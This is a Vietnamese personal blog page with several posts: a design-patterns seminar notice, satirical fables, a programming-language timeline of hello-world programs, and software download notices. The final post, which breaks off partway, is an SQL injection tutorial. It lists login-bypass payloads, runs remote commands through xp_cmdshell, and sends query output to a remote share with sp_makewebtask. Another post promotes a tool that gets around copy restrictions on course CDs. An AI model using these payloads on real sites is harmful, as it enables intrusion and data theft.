Võ Văn Hải’s blog

Chỉ có một điều tuyệt đối đó là mọi thứ đều tương đối…

Seminar : Giới thiệu Design Patterns

Đăng bởi vovanhai on Tháng Một 27, 2010

Seminar

Chủ đề: Giới thiệu Design Patterns.

Thành phần tham dự: Giáo viên Khoa Khoa học và Kỹ thuật máy tính và khách mời.

Thời gian: 15h30 Thứ 7 ngày 30/01/2010.

Địa điểm: Văn phòng Khoa Khoa học và Kỹ thuật máy tính, lầu 1 nhà H trường Địa học Công nghiệp TpHCM

Resources:

Tham khảo:

Sách:

Cover:

Software Design Patterns

The Gang of Four patterns

Below is a list of the 23 Gang of Four patterns:

Creational Patterns
Abstract Factory Creates an instance of several families of classes
Builder Separates object construction from its representation
Factory Method Creates an instance of several derived classes
Prototype A fully initialized instance to be copied or cloned
Singleton A class of which only a single instance can exist
Structural Patterns
Adapter Match interfaces of different classes
Bridge Separates an object‟s interface from its implementation
Composite A tree structure of simple and composite objects
Decorator Add responsibilities to objects dynamically
Façade A single class that represents an entire subsystem
Flyweight A fine-grained instance used for efficient sharing
Proxy An object representing another object
Behavioral Patterns
Chain of Resp. A way of passing a request between a chain of objects
Command Encapsulate a command request as an object
Interpreter A way to include language elements in a program
Iterator Sequentially access the elements of a collection
Mediator Defines simplified communication between classes
Memento Capture and restore and object‟s internal state
Observer A way of notifying change to a number of classes
State Alter an object‟s behavior when its state changes
Strategy Encapsulates an algorithm inside a class
Template Method Defer the exact steps of an algorithm to a subclass
Visitor Defines a new operation to a class without change

Patterns for e-business

Đăng trong Uncategorized | Leave a Comment »

Chuyện độc quyền

Đăng bởi vovanhai on Tháng Một 15, 2010

Thuở xa xưa, ông trời chỉ định cho mặt trăng là đơn vị độc quyền cung cấp ánh sáng cho trái đất. Tên giao dịch viết tắt của tập đoàn này là EMT (Electric Mặt Trăng). Nhưng người ta vẫn thường gọi là Tập đoàn “Cuội” do ông chủ tập đoàn tên là Cuội (tên này thì Truyện cổ tích VN có xác nhận). Do độc quyền nên EMT làm ăn hết sức bê bối, mỗi tháng chỉ cung cấp ánh sáng đầy đủ có vài bữa (đến giờ này vẫn còn, khi chỉ có tối 15, 16 là sáng sủa)! Còn lại là cúp triền miên, hoặc chỉ cung cấp ánh sáng leo lét bằng trăng lưỡi liềm. Dân tình ta thán lên thấu thiên đình, thế là ông trời tổ chức họp kiểm điểm. Ông Cuội thanh minh đủ thứ là do mây che mất ánh sáng, rồi hứa sẽ cải thiện. Nhưng ông Cuội vẫn đâu hoàn đấy, chẳng chăm lo đến chuyện cung cấp ánh sáng. Thậm chí, tiền thu được Cuội ta đầu tư lung tung cứ như lá đa trên cung trăng! Thế là dân lại ta thán. Ông trời lại kiểm điểm. Và lần này Cuội sụt sịt xin lỗi… Nhưng, xin lỗi xong cũng đâu lại vào đấy, ánh sáng vẫn không được cung cấp đàng hoàng. Bực mình, ông trời bèn quyết định không cho EMT độc quyền nữa. Nhờ vậy, Tập đoàn Mặt Trời mới được vào cuộc và từ đó dân tình mới hết nạn thiếu ánh sáng. Dân tình đã rất biết ơn ông trời…

(st)

Đăng trong Uncategorized | 1 Comment »

Seminar

Đăng bởi vovanhai on Tháng Mười Một 3, 2009

Vào ngày 28/11/2009 tôi sẽ có 1 workshop về công nghệ J2EE6.

Địa điểm: 590 Cách Mạng Tháng Tám, Quận 3, TP HCM.

Thời gian:

  • Sáng:  8h30 đến 12h
  • Chiều từ 13h30 đến 16h30.

Đăng ký:

- Miss HuyềnTTT3:

- Miss HuyềnNT16:

Các bạn nào quan tâm thì tham dự.

Do tính chất của ngày này là 1 workshop nên yêu cầu người tham dự cần mang theo máy tính.

Máy tính cần cài đặt JDK1.6, J2EE SDK preview 6, Netbeans 6.8 beta (hoặc eclipse galileo).

Chi tiết sẽ được cập nhật  tại đây.

Lưu ý: các bạn phải download các slides và các demo trước khi tham dự để việc triển khai được tốt hơn.

Đăng trong Uncategorized | Leave a Comment »

Microsoft cho phép tải về mã nguồn các control của Silverlight 2

Đăng bởi vovanhai on Tháng Chín 7, 2009

Microsoft hiện đã cho phép các nhà phát triển tải về mã nguồn của các control có trong Silverlight 2, đây là một cơ hội tuyệt vời cho các nhà phát triển có thể tham khảo và xem cách các control cơ bản được xây dựng.
silverlight-2-control-project.png
Bạn có thể tải về từ đây: http://www.microsoft.com/downloads/details.aspx?FamilyID=EB83ED4C-AC85-4DE9-8395-285628EE2254&displaylang=en

Đăng trong Uncategorized | 1 Comment »

AptechKit – Phần mềm cho dân Aptech

Đăng bởi vovanhai on Tháng Năm 7, 2009

Đĩa Aptech khiến cho mình và tất cả những ai dùng nó đều phải…ức phòi máu. Vì nó vừa ngốn hết tài nguyên CPU, làm máy đơ không chịu được, vừa ko cho copy/paste. Bất tiện, tốn thời gian cho cả việc học và dạy.

Giờ đây chúng ta đã có Aptech Kit – phần mềm tối ưu cho việc dùng đĩa CD của Aptech.

Download tại : http://www.mediafire.com/?mgcjdhgz2zm

Hình ảnh minh họa:
http://i285.photobucket.com/albums/ll73/hieubm/pEnGwINUS/AptechKit15-tab1.png
http://i285.photobucket.com/albums/ll73/hieubm/pEnGwINUS/AptechKit15-tab2.png
Hướng dẫn sử dụng:

- Khởi động Start.exe và Aptech Kit.
- Tại tab “Optimize Presentation”, chọn:

+ Recover CPU Resource: Khôi phục tài nguyên CPU bị chiếm dụng bởi Start.exe
+ Enable copy/paste functionality: Cho phép copy/paste trong khi chạy Start.exe
+ Don’t use fullscreen mode: Thoát khỏi chế độ fullscreen.
Sau đó nhấn Perform để thực hiện những việc mà bạn đã chọn.
- Tại tab “Get Files”, chọn các files mà bạn muốn lấy vào ổ cứng:

+ Practices Assignments: Các bài tập thực hành.
+ Source Codes: Các mã nguồn ví dụ.
+ References: Các tài liệu tham khảo.
Sau đó nhấn Get Files, chọn thư mục muốn lưu.

Nguồn: http://aptech.haui.edu.vn/forum/showthread.php?t=2723

Đăng trong Uncategorized | 1 Comment »

VONG QUỐC LIỆT TRUYỆN

Đăng bởi vovanhai on Tháng Ba 14, 2009

Nguồn:

http://blog.360.yahoo.com/blog-mirTL1g_fLOcIOaxBWGwDG1bn3k-?cq=1

http://daohieu.com/website/?pg=gl&id=544

ÔN TUYỀN KÝ SỰ

Nam An quân vào rừng săn bắn, mãi mê đuổi theo con mồi, quên mất đường xa lối gần, bỗng gặp rừng hoa đào mọc sát bờ mấy trăm bước, không xen loại cây nào khác, cỏ thơm tươi đẹp, hoa rụng rực rỡ. Nam An quân lấy làm lạ, tiến thêm vô cuối khu rừng, thấy có hòn núi cao ngất trời, giữa vách núi có dòng suối nóng chảy ra, khói nước bốc cao ba trượng, lan xa mấy trăm bước, hai bờ kỳ hoa dị thảo tốt tươi,  tới sát bờ, cởi giày thò chân xuống thấy nước ấm áp, khoan khoái dễ chịu, bèn cởi xiêm y nhảy ùm xuống tắm, tắm xong thấy mệt nhọc tiêu tan, người khỏe ra, đầu óc minh mẫn.

Về đến hoàng cung, Nam An quân liền gọi bá quan vào triều, kể lại sự lạ ấy rồi nói:

- Nay quả nhân muốn bán nước cho người Ngô!

Kẻ bề tôi nghe thế liều chết dập đầu đến toé máu can ngăn, Nam An quân cả giận nói:

- Nước là do quả nhân tìm ra, nay quả nhân muốn bán, ai dám can ngăn?

Nói xong, thét vũ sĩ đem chém đầu treo lên cửa thành thị chúng, dán cáo thị cấm chỉ bàn lui, kẻ sĩ trong nước đều sợ, chẳng ai dám lên tiếng.

VƯƠNG ĐẠO và BÁ ĐẠO

Ngô Uy vương tính cử binh đánh úp nước Nam An, hỏi kế bề tôi, có kẻ bước ra đáp:
- Tôi có kế bá đạo và vương đạo, đại vương muốn nghe kế nào?
Đáp:
- Xin nghe kế bá đạo trước!
Kẻ ấy nói:
- Kế bá đạo là nhà vua cứ cất 10 vạn binh mã, kéo rốc sang Nam An đánh một trận cho quân ta thây chất như núi, máu chảy thành sông, bên trong cô nhi quả phụ đầy đường, quốc khí suy sụp, mười năm chắng ngốc đầu lên nổi, bên ngoài nước lớn chê cười, nước nhỏ bất phục, oán rằng ta lấy nước nghìn cỗ xe đánh nước trăm cỗ xe(1). Ấy là kế bá đạo.
Ngô Uy vương giật mình, toát mồ hôi, hỏi:
- Xin nghe tiếp kế vương đạo!
Đáp rằng:
- Tôi nghe Nam An là xứ lắm thuyền ít ngựa, vả lại ngựa của Nam An nhỏ bé, không to cao như ngựa chiến nước ta, bởi vậy người Nam An rất thích ngựa nước Ngô, chi bằng ta cứ bán rẻ cho họ, nhưng trước khi bán, hoặc cho ngựa uống nước đậu xanh, hoặc dùng chày đánh ngựa nội thương, người Nam An ham ngựa rẻ, đua nhau mua về, chạy được vài hôm, ngựa ngã quỵ bất ngờ, thế nào người cỡi cũng bị thương, ban đầu không sao, nhưng lâu dần, cả nước đều bị thương hoặc chết, lúc đó dù ta đem binh già yếu sang, người Nam An cũng không còn sức chống đỡ. Đó là kế vương đạo.

Ngô Uy vương ngẫm nghĩ rồi nói:
- Quả nhân xin nghe theo vương đạo!
( trích Tân Chiến quốc sách)
Giải thích:

(1)Thời Chiến Quốc, chiến xa là tiêu chuẩn để đánh giá 1 nước mạnh hay yếu, lớn hay nhỏ. Ở đây nước có nghìn cỗ xe là nước lớn, nước có trăm cỗ xe là nước nhỏ.

ỨNG DỤNG KINH THI TRONG ĐỜI SỐNG

Nam An vương tính lấy đất của trăm họ xây hành cung, mà lại không có cớ gì, có kẻ bề tôi tâu rằng:

- Thần từ nhỏ đọc Kinh Thi, có câu rằng “phổ thiên chi hạ, mạc phi vương thổ; suất thổ chi tân, mạc phi vương thần” ( khắp dưới gầm trời, đều là đất vua; khắp nơi bến nước, đều là bề tôi của vua), nay nhà vua chỉ xây nhà trên đất của mình, cớ gì phải hỏi ý ai?

Nam An vương khen phải, sai người làm ngay. Từ đó, xứ Nam An ăn mày nhiều vô kể.

Tim và óc

Danh Vô tử học đạo đã lâu, tính tình phóng khoáng, thích ngao du rong ruổi đây đó, vui cùng hạc nội mây ngàn, bữa nọ xuôi dòng Mê Giang ghé Nam An tiểu quốc, trú chân tại khách sạn Duyệt Lai. Đang nằm khoèo ngẫm nghĩ sự đời, thốt nhiên có tiếng ồn ào ngoài phố vọng vào, tò mò đẩy cửa ra xem, té ra có đám quan viên đang bày bán tim óc, khách mua xúm xít sục sạo lựa hàng, Danh Vô tử cả kinh kéo một người hỏi, tim óc là thứ quý giá trong người, bán đi làm sao sống, người ấy đáp:

- Đạo sĩ không biết đó thôi, xứ tôi muốn làm quan phải cắt tim bỏ óc, quốc vương, tể tướng cũng bán rồi. Các đồng liêu đường mây rộng mở vì không còn mấy thứ phiền phức ấy, tôi tiếc của nên vẫn còn là viên thư lại quèn, nay tôi cũng bán quách cho nhẹ người!

Danh Vô tử hoảng quá co giò chạy thẳng về núi.

Mẹo hay

Trong Thất Hùng thời Chiến Quốc, nước Tần mạnh nhất, lấn lướt 6 nước kia, ngày nọ Tần vương Chính toan đánh nước Hàn. Nhận được tin báo, Hàn vương An vội hỏi Vô Danh tử:

- Nhà thầy học theo đức Khổng phu tử chu du liệt quốc, kiến thức quảng đại, có cách gì giúp nước tôi chăng?

Đáp:

- Tôi nghe ở phía nam có nước Nam An thịnh trị thái bình đã gần trăm năm nay, chẳng nước nào dám đánh là vì có mẹo hay, có thể bắt chước theo vậy.

Hỏi:

- Mẹo gì?

Đáp:

- Nước Nam An tường thành tuy mỏng, hào tuy nông, binh tuy yếu, nhưng vua tôi nước ấy siêng năng lắm, mùa xuân đào hết đường xá lên, mùa hạ lấp lại, mùa thu lại xới lên, mùa đông lại phủ xuống, cứ thế bốn mùa không ngơi nghỉ, làm cho chẳng có lối đi, nếu quân giặc xông bừa vào, chẳng biết đường nào mà lần, không té què chân cũng gãy tay.

Hàn vương An cả mừng, y theo kế ấy mà làm, quả nhiên giữ được nước Hàn yên bình trước nước Tần lang sói đến vài chục năm.

Đất thừa kế:

Nam An quân hỏi Vô Danh tử
- Nay quốc khố trống rỗng, kho lẫm cạn kiệt, thu thuế không đủ chi dùng mà có người lại hỏi mua đất Nguyên ở phía tây, đảo Trường đảo Hoàng ở ngoài bể, ta bán nhé?

Đáp:

- Đất của tổ tiên, không bán được!

Nam An quân nói:

- Tổ tiên chết từ lâu rồi, bán đi chẳng trách!

Vô Danh tử lại nói:

- Trăm họ sẽ lên tiếng!

Đáp:

- Trăm họ ở dưới thấp, ta thì ở nơi lầu cao tường dày, nghe sao được!

Vô Danh tử nghe thế thở dài, dắt học trò rời Nam An sang xứ khác.

NAM AN QUÂN HIỀN CHĂNG?

Vô Danh tử dắt học trò đến quốc đô nước Nam An. Học trò là Hữu cảm khái nói:

- Khen thay, vua Nam An là người hiền!

Vô Danh tử nói:

- Chưa chắc!

Hữu thắc mắc:

- Nam An được thái bình thịnh trị, trăm họ vui vẻ làm ăn, chẳng tiếng oán than, chẳng phải bởi vua hiền sao?

Vô Danh tử nói:

- Trăm họ chỉ lo kiếm sống, bởi sưu cao thuế nặng phải ráng ra sức làm để đóng cho vua; trăm họ không tiếng oán than, bởi vua vi chính hà khắc, chẳng cho lên tiếng chứ không phải là không muốn vậy.

Nói xong thúc học trò ra roi phóng ngựa chạy mau ra khỏi nước ấy.

Diệu kế

Nay, vua nước Nam An hỏi rằng: “ Nam An là nước nhỏ, kẹt giữa hai nước Mỹ Trung. Vậy ta nên thờ Mỹ hay thờ Trung?” Vô Danh tử đáp: “ Mưu ấy tôi không biết. Thôi thì chỉ còn một cách này thôi, đó là đào hào cho sâu, xây thành cho dầy, cùng dân giữ nước, liều chết thì dân không bỏ đi, đó là cách có thể làm vậy.”

Lời bàn của Vô Danh (chưa tử):

Mọi việc phải dựa vào dân, thương dân thì dân giúp cho, bỏ dân thì dân bỏ vậy.

Đăng trong chuyện phiếm | 3 phản hồi »

Các ngôn ngữ lập trình hiện tại

Đăng bởi vovanhai on Tháng Hai 6, 2009


index

language

year

written in


mighti-


ness


pop-


ularity


appli-

cation


type


interpr.,


comp.?


OO

Visual IDE

database


read-/


learnability


abstract-


ness

port-


ability

01
VB.net
2001 C++ 02 01
pro


inter
yes

yes
02
Ja
va
1996 C 03 01

str
both yes
yes
03
C
1972 Assembly 01 02 systems
pro


comp
no
yes
02
04
Visual Basic
1991 C++ 02 03
pro

inter

no

yes
05
PHP
1995 C 04 04 web
pro


inter

yes
06
C++
1985 C 01 05 systems
pro


comp
yes
yes
07
Python
1991 C 06
pro
both
08
Perl
1987 C 07
pro
both
09 C# 2001 C 08 pro

inter
yes

yes

10
Ruby
1995 C 09
mp


inter
yes
11 JavaScript 1995 C++ 10 web

str


inter
12 Delphi 1995 C 11 pro yes
yes
13
D
1999 C 12
pro
14
PL/SQL
1986 13 dec
15
SAS
1966 C 14 statistics imp
16 COBOL 1959 Assembly 15 finance
pro
17
ABAP
1980 16 finance
18 Lisp/Scheme 1958 01 17
fun


inter
19
Pascal
1970 Assembly 18
pro
no 01
20
Eiffel
1985 19
pro
yes yes
21 F# 2005 20 fun
22
Prolog
1970 Algol 21

logic
23
Smalltalk
1971 yes
24
APL
1964
arr
25
Erlang
1991 Prolog
fun
26
Oberon
1986
pro
27
Mathematica
1988
fun
28
Ada
1983 pro
29
REXX
1979 scr
30
Fortran
1957
pro
31
Algol
1958
32

Assembly l.
1950 mach. code


timeline

let x = “Hello World”;;


System.Console.WriteLine(x);;


F#
(2005)



Agile Manifesto
(February
13, 2001)



SourceForge
(2000)

module helloworld;

import std.stdio;

void main()

{

writefln(“Hallo Welt!”);

}



D
(1999)


the TIOBE Programming Community index


Metaprogramming


Reflection



Éric Lévénez’s Computer Languages Timeline
(1999)



Source control
(1998)



LAMP
(1998)



RUP
(1998)



UML
(1997)

public class HelloWorld

{

public static void main(String [ ] args)

{

System.out.println(“Hello, world!”);

}

}



Java
(1996) is an
object oriented interpreted programming language


eXtreme Programming

(1996)

the Encyclopedia of
Computer Languages
(1995)

puts “Hello, world!”



Ruby
(1995)

&ltTITLE>

Hello World in JavaScript

</TITLE>

&ltSCRIPT>

document.write (“Hello, world!”)

</SCRIPT>


Ja
vaScript (1995)



Design Patterns

(1995)


DirectX (1995)

<?php

echo”Hello, world!”;

?>



PHP
(June 8, 1995) is a newer
programming language with focus on web design and a C-like syntax

10 REM Basic version of 99 bottles of beer

20 FOR X=100 TO 1 STEP -1

30 PRINT X;”Bottle(s) of beer on the
wall,”;X;”bottle(s) of beer”

40 PRINT “Take one down and pass it around,”

50 PRINT X-1;”bottle(s) of beer on the wall”

60 NEXT


99 Bottles of Beer
(1994)



ultraedit
(1994)



Code refactoring
(1993)


IBM Visual Age (1993)


DLL hell



MFC

(1992)



Visual Basic
1.0 (May
1991) was released for Windows

print “Hello, world!”



python
(1991)



object-modeling
technique
(1991)



Autoconf
(1991)

-module(hello).

-export([hello_world/0]).

hello_world() -> io:fwrite(“Hello, world!\n”).



Erlang

(1991)



haskell

(1990)

<html>

<head>

<title>Webserver-Test</title>

</head>

<body>

Hello, world!

</body>

</html>



html

(1990)



Object Management
Group
(1989)

MODULE Hello;

IMPORT Out;

BEGIN

Out.String(“Hello, world!”);

Out.Ln

END Hello.



Oberon

(1988)

While[True, Print["Hello, world!"]


Mathematica
(1988)



CLOS
(1988)

print “Hello, world!\n”;



Perl
(1987)

put “Hello, World!”


HyperTalk
(1987)



authorware
(1987)



Use Case Diagramme
(1986)



Concurrent
Versions System
(1986)



spiral model
(1986)

CREATE TABLE message (text char(15));

INSERT INTO message (text) VALUES (‘Hello, world!’);

SELECT text FROM message;

DROP TABLE message;



SQL
(1986)


Functional
programming



Miranda

(1985)



VHDL
(1985)


Design by contract

class HELLO_WORLD

create make

feature

make is

do

io.put_string(“Hello, world!%N”)

end — make

end — class HELLO_WORLD



Eiffel

(1985)

#include <iostream>

int main()

{

std::cout < “Hello,
World!” << endl;

return 0;

}



C++
(1985)  is a compiled
programming language based on C, with support for object-oriented

programming. It is one of the most widely-used programming languages currently
available



O’Reilly Media
(1984)



Standard ML
(1984)



Smalltalk-80
(1983)

with TEXT_IO;

procedure HELLO is

begin

TEXT_IO.PUT_LINE (“Hello, world!”);

end HELLO;



Ada
(1983)


Rapid
application development



CASE-Tools
(1982)



just-in-time
compilation
(early
1980s)



COCOMO
(1981)



Remote Procedure
Calls
(1981)



chill

(1980)



dBASE II
(1980)

REPORT ZELLO.

WRITE ‘Hello, world!’.



ABAP
(1980s)



profiler

(1979)

/* */

say “Hello, world!”



REXX
(1979)


modules

MODULE Hello;

FROM InOut IMPORT WriteLn, WriteString;

BEGIN

WriteString (“Hello, world!”);

WriteLn

END Hello.



Modula
(late 1970s)



CSP

(1978)



FP
(1978)



Lamport Clocks

(1978)

(object-class request

^action)

(startup

(strategy MEA)

(make request ^action hello)

)

(rule hello

(request ^action hello)

(write |Hello, world!| (crlf))

)



OPS5
(1977)



make
(1977)



RPC
(1976)



mesa
(1976)

%!

% Displays as page output.

/Courier findfont

24 scalefont

setfont

100 100 moveto

(Hello, world!) show

showpage



PostScript
(1976)



euclid

(mid 1970s)



Communicating Sequential Processes
(1975)

;;; Hello World in Scheme

(define helloworld

(lambda ()


(display “Hello World”)


(newline)))



Scheme

(1975)



Maestro I
(1975)



the Hello world program

(1974)



the Monitor
procedure
(1974)


Debugging



ML
(1973)


the
Nassi-Shneiderman diagram
(1972)



information hiding

(1972)

hello_world :-
write(‘Hello, world!’).



Prolog
(1972)

main()

{

printf(“Hello,
world\n”);

}



C
(1972) is a programming language named “C” because many

of its features were derived from an earlier language called “B.” It
is a compiled

procedural, imperative programming language made popular as the basis of Unix


Fifth-generation programming languages



Plankalkül
was first
published (1972) the first compiler for it was implemented in 2000 by the Free
University of Berlin

Transcript show: ‘Hello, world!’.



Smalltalk

(1971)



Generic programming

(1970s)


Waterfall model

(1
970)

program HelloWorld(output);

begin

WriteLn(‘Hello, world!’);

end.



Pascal

(1970) is a general-purpose structured language named after the famous
mathematician and philosopher

Blaise Pascal. It was very popular during the 80’s and 90’s. Whilst popularity
of Pascal itself has waned

(it’s principal use is in teaching of programming) languages derived from it
(such as Borland Delphi) are still in use


logical programming



Planner

(1969)


software crisis



Software engineering

(1968)



the Art of Computer Programming

(1968) by Donald Knuth

BEGIN


print((“Hello, world!”, newline))

END



ALGOL 68

(1968)



Regular Expressions

(1968)


Object-oriented programming


Simula 67

(1968)



Logo
(1967)



polymorphism
(1967)

put “Hello world”;


SAA (1966)



Structured
Programming
(1966)



ISWIM
(1966)

GET “LIBHDR”

LET START () BE

$(


WRITES (“Hello, world!*N”

$)



BCPL
(1966)



Evolution strategy

(1965)

Test: proc options(main);


put list(‘Hello, world!’);

end Test;



PL/I

(1964)

[]<-’Hello World!’


APL (1964)



joss
(1963)

10 PRINT “Hello, world!”

20 END



BASIC

(1963)


Integrated development environments



regular expressions
library
(1960s)

BEGIN


OutText(“Hello, world!”);


OutImage;

END



Simula I

(1962)

‘Hello, World!’


A Programming
Language
(1962)



Darwin

(1961)

d TestMessage c Const( ‘Hello, world!’ )

c TestMessage DSPLY

c EVAL *InLR = *On



IBM RPG
(1960)


Fourth-generation programming languages



Evolutionary
programming
(1960)

‘BEGIN’

‘COMMENT’ Hello World in Algol
60;

OUTPUT(4,’(”(‘Hello,
world!’)',/’)')

‘END’



ALGOL 60
(1960)



garbage collection
(1959)



backus naur form

(1959)


High-level languages

IDENTIFICATION DIVISION.

Program-Id. Hello-World.

ENVIRONMENT DIVISION.

DATA DIVISION.

PROCEDURE DIVISION.

Para1.

DISPLAY “Hello, world!”.

Stop Run.



COBOL

(1959)



ALGOL 58
(1958)

; LISP

(defun hello_world()

(print (list ‘Hello,
world!’)))



Lisp
(1958)
is a family of functional, sometimes

scripted, programming languages often used in AI



Mark I Autocode

(1958)


application programming interface


namespaces


Functional
programming


Information Processing Language
(1956)


Evolutionary
algorithms



stacks
(1955)



flow matic
(1955)



Hashing
(1953)



Genetic algorithms

(1954)


imperative
programming

PROGRAM HELLO

WRITE (*,100)

STOP

100 FORMAT (‘Hello, world!’ /)

END



the first Fortran compiler

(1954) was developed for the IBM 704 by a team led by John W.

Backus. The language was widely adopted by scientists for writing numerically
intensive

programs, which encouraged compiler writers to produce compilers that generate
faster code


Third-generation programming languages


Autocoder


Autocode



Assemblers
(1950s)



Assembly language


Second-generation programming languages


compiler



A-0
(1952)
is a programming language for the UNIVAC I and UNIVAC II, using three-address
code

instructions for solving mathematical problems. A-0 was the first language for
which a compiler was developed



Subroutines
(1951)



microprogramming
(1951)



Plankalkül
(1946)



mergesort
(1945)



the stored program

(1945)


Machine Language

First-generation programming languages

λ x. x + 1



Lambda calculus

(1930s)



Currying
(1920s)



Ada Lovelace’s Notes on the Analytical engine
(1842)


the punch card era

Nguồn: http://ommmm.de

Đăng trong programming languaes | Leave a Comment »

Microsoft Pre-release Software Visual Studio 2010 and .NET Framework 4.0 Community Technology Preview (CTP)

Đăng bởi vovanhai on Tháng Mười Hai 26, 2008

Hiện nay Microsoft đã ra mắt phiên bản Visual Studio 2010 dựa trên .Net Framework 4.0 bản CTP.
visualstudio2010CTP
Ngày publish: 31/10/2008

Yêu cầu cấu hình:

  • Hỗ trợ hệ điều hành: Windows Server 2003; Windows Server 2008; Windows Vista; Windows XP
  • Tối thiểu đĩa cứng còn trống là 75 GB
  • CPU bèo nhất là Core Duo 2 GHz processor.

Thông tin chi tiết: xem tại đây: http://www.microsoft.com/downloads/details.aspx?FamilyId=922B4655-93D0-4476-BDA4-94CF5F8D4814&displaylang=en

Download:

  1. Part 1
  2. Part 2
  3. Part 3
  4. Part 4
  5. Part 5
  6. Part 6
  7. Part 7
  8. Part 8
  9. Part 9
  10. Part 10
  11. Part 11

Hãy xem Anders Hejlsberg nói trong 1 seminar về C#4.0 và Visual Studio 2010. Rất tuyệt!. Download tại đây, kích thước phim download 332MB. Rất nên xem.

Đăng trong Uncategorized | 3 phản hồi »

Teen Tây vs Teen Ta: Cùng xem và suy ngẫm!

Đăng bởi vovanhai on Tháng Mười Hai 6, 2008

Màu xanh tượng trưng cho phong cách phương Tây; Màu đỏ tượng trưng cho phong cách phương Đông

Quan điểm

http://vovanhai.files.wordpress.com/2008/12/tayta_1.jpg

Cách sống

http://vovanhai.files.wordpress.com/2008/12/tayta_2.jpg

Giải quyết vấn đề

http://vovanhai.files.wordpress.com/2008/12/tayta_3.jpg

Sếp

http://vovanhai.files.wordpress.com/2008/12/tayta_4.jpg

Giao thiệp

http://vovanhai.files.wordpress.com/2008/12/tayta_5.jpg

Khi tức giận

http://vovanhai.files.wordpress.com/2008/12/tayta_6.jpg

Khi xếp hàng đợi

http://vovanhai.files.wordpress.com/2008/12/tayta_7.jpg

Đúng giờ

http://vovanhai.files.wordpress.com/2008/12/tayta_8.jpg

Tiệc tùng

http://vovanhai.files.wordpress.com/2008/12/tayta_9.jpg

Trong nhà hàng

http://vovanhai.files.wordpress.com/2008/12/tayta_10.jpg

Phố phường ngày chủ nhật

http://vovanhai.files.wordpress.com/2008/12/tayta_11.jpg

Du lịch

http://vovanhai.files.wordpress.com/2008/12/tayta_12.jpg

Khuynh hướng

http://vovanhai.files.wordpress.com/2008/12/tayta_13.jpg

Ba bữa mỗi ngày

http://vovanhai.files.wordpress.com/2008/12/tayta_14.jpg

Phương tiện giao thông

http://vovanhai.files.wordpress.com/2008/12/tayta_15.jpg

Tâm trạng và thời tiết

http://vovanhai.files.wordpress.com/2008/12/tayta_16.jpg

Vị trí của trẻ em

http://vovanhai.files.wordpress.com/2008/12/tayta_17.jpg

Còn bạn! Bạn nghĩ thế nào?

(Sưu tầm từ internet)

Đăng trong Uncategorized | 17 phản hồi »

Tấn công kiểu SQL Injection và các phòng chống trong ASP.NET

Đăng bởi vovanhai on Tháng Mười Hai 3, 2008

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–

* Login: hi’ or 1=1–
* Password: hi’ or 1=1–
* http://yoursite.com/index.asp?id=hi’ or 1=1–

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value=”hi’ or 1=1–”>
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến ‘category’ được gán giá trị là ‘food’. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request(“category”)
sqlstr=”SELECT * FROM product WHERE PCategory=’” & v_cat & “‘”
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request(“category”) là ‘food’ và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory=’food’

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1– , biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or 1=1–’

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”

Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory=’food’ or ‘a’='a’

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

‘ or 1=1–

” or 1=1–

or 1=1–

‘ or ‘a’='a

” or “a”=”a

‘) or (‘a’='a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

‘; exec master..xp_cmdshell ‘ping 10.10.1.2′–

Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

‘; EXEC master..sp_makewebtask “\\10.10.1.3\share\output.html”, “SELECT * FROM INFORMATION_SCHEMA.TABLES”

Chú ý: folder “share” phải được share cho Everyone trước.

7. Nhận dữ liệu qua ‘database using ODBC error message’

